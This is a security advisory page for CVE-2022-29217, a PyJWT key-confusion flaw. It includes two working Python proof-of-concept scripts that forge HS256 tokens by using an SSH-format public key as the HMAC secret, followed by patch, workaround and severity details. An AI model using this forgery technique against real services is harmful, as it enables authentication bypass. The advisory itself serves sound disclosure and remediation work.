GHSA-ffqj-6fqr-9h24 CVE-2022-29217 PYSEC-2022-202
Key confusion through non-blocklisted public key formats
- Severity
- 7.4 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 1.35%
- Chance of exploitation in the next 30 days. Higher than 71.62% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-327 Use of a Broken or Risky Cryptographic Algorithm
- Fix
2.4.0- Upgrade pyjwt to this version or later
Description
Impact
What kind of vulnerability is it? Who is impacted?
Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).
PyJWT supports multiple different JWT signing algorithms. With JWT, an attacker submitting the JWT token can choose the used signing algorithm.
The PyJWT library requires that the application chooses what algorithms are supported. The application can specify "jwt.algorithms.get_default_algorithms()" to get support for all algorithms. They can also specify a single one of them (which is the usual use case if calling jwt.decode directly. However, if calling jwt.decode in a helper function, all algorithms might be enabled.)
For example, if the user chooses "none" algorithm and the JWT checker supports that, there will be no signature checking. This is a common security issue with some JWT implementations.
PyJWT combats this by requiring that the if the "none" algorithm is used, the key has to be empty. As the key is given by the application running the checker, attacker cannot force "none" cipher to be used.
Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is not a public key meant for asymmetric algorithm i.e. HMAC cannot be used if the key begins with "ssh-rsa". If HMAC is used with a public key, the attacker can just use the publicly known public key to sign the token and the checker would use the same key to verify.
From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm. With ed25519, PyJWT supports public keys that start with "ssh-", for example "ssh-ed25519".
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519
# Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()
# Get private key bytes as they would be stored in a file
priv_key_bytes =
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption())
# Get public key bytes as they would be stored in a file
pub_key_bytes =
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)
# Making a good jwt token that should work by signing it with the
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")
# Using HMAC with the public key to trick the receiver to think that the
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes,
algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
print("POC Successfull")
# Of course the receiver should specify ed25519 algorithm to be used if
they specify ed25519 public key. However, if other algorithms are used,
the POC does not work
# HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#
# invalid_strings = [
# b"-----BEGIN PUBLIC KEY-----",
# b"-----BEGIN CERTIFICATE-----",
# b"-----BEGIN RSA PUBLIC KEY-----",
# b"ssh-rsa",
# ]
#
# However, OKPAlgorithm (ed25519) accepts the following in
jwt/algorithms.py:
#
# if "-----BEGIN PUBLIC" in str_key:
# return load_pem_public_key(key)
# if "-----BEGIN PRIVATE" in str_key:
# return load_pem_private_key(key, password=None)
# if str_key[0:4] == "ssh-":
# return load_ssh_public_key(key)
#
# These should most likely made to match each other to prevent this behavior
import jwt
#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem
#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub
priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""
pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""
ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""
# Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")
# Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")
# Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
if decoded_good == decoded_bad:
print("POC Successfull")
else:
print("POC Failed")
The issue is not that big as algorithms=jwt.algorithms.get_default_algorithms() has to be used. However, with quick googling, this seems to be used in some cases at least in some minor projects.
Patches
Users should upgrade to v2.4.0.
Workarounds
Always be explicit with the algorithms that are accepted and expected when decoding.
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory:
- Open an issue in https://github.com/jpadilla/pyjwt
- Email José Padilla: pyjwt at jpadilla dot com
Affected versions
PyPI
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pyjwt PyPI → 2.4.0
- pip
pip install --upgrade "pyjwt>=2.4.0"- poetry
poetry add "pyjwt>=2.4.0"- uv
uv add "pyjwt>=2.4.0"
Severity breakdown
CVSS 3.1 7.4
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
The product uses a broken or risky cryptographic algorithm or protocol.
How to prevent it
- Architecture and Design: When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification [REF-1192]. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]
- Architecture and Design: Ensure that the design allows one cryptographic algorithm to be replaced with another in the next generation or version. Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. With hardware, design the product at the Intellectual Property (IP) level so that one cryptographic algorithm can be replaced with another in the next generation of the hardware product.
- Architecture and Design: Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.
- Implementation, Architecture and Design: When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
References
Advisories
Packages
Other links
- github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24
- github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc
- github.com/jpadilla/pyjwt/releases/tag/2.4.0
- github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2022-202.yaml
- lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7I…
- lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYE…
- lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6HIYE…
- lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PK7I…
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-pxh4-856f-4h89 PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery | High | Also affects pyjwt |
| GHSA-gvp8-978c-rx2q PyJWT.decode() reintroduces options-dict mutation, enabling silent claim-verification bypass on dict reuse | Medium | Also affects pyjwt |
| GHSA-x33g-cr3x-6449 PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion | High | Also affects pyjwt |
| GHSA-w6j9-cwv2-h6wq PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set | High | Also affects pyjwt |
| GHSA-w2cx-738m-mc7w PyJWT accepts public JWK containers as HMAC secrets | High | Also affects pyjwt |
| GHSA-r6x4-923q-g947 PyJWT BOM Bypass | High | Also affects pyjwt |
| GHSA-p4g4-x82p-q773 PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard | High | Also affects pyjwt |
| GHSA-jwrc-g2q2-pq5p PyJWT: ReDoS vulnerability when calling the `is_pem_format` function. | Medium | Also affects pyjwt |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor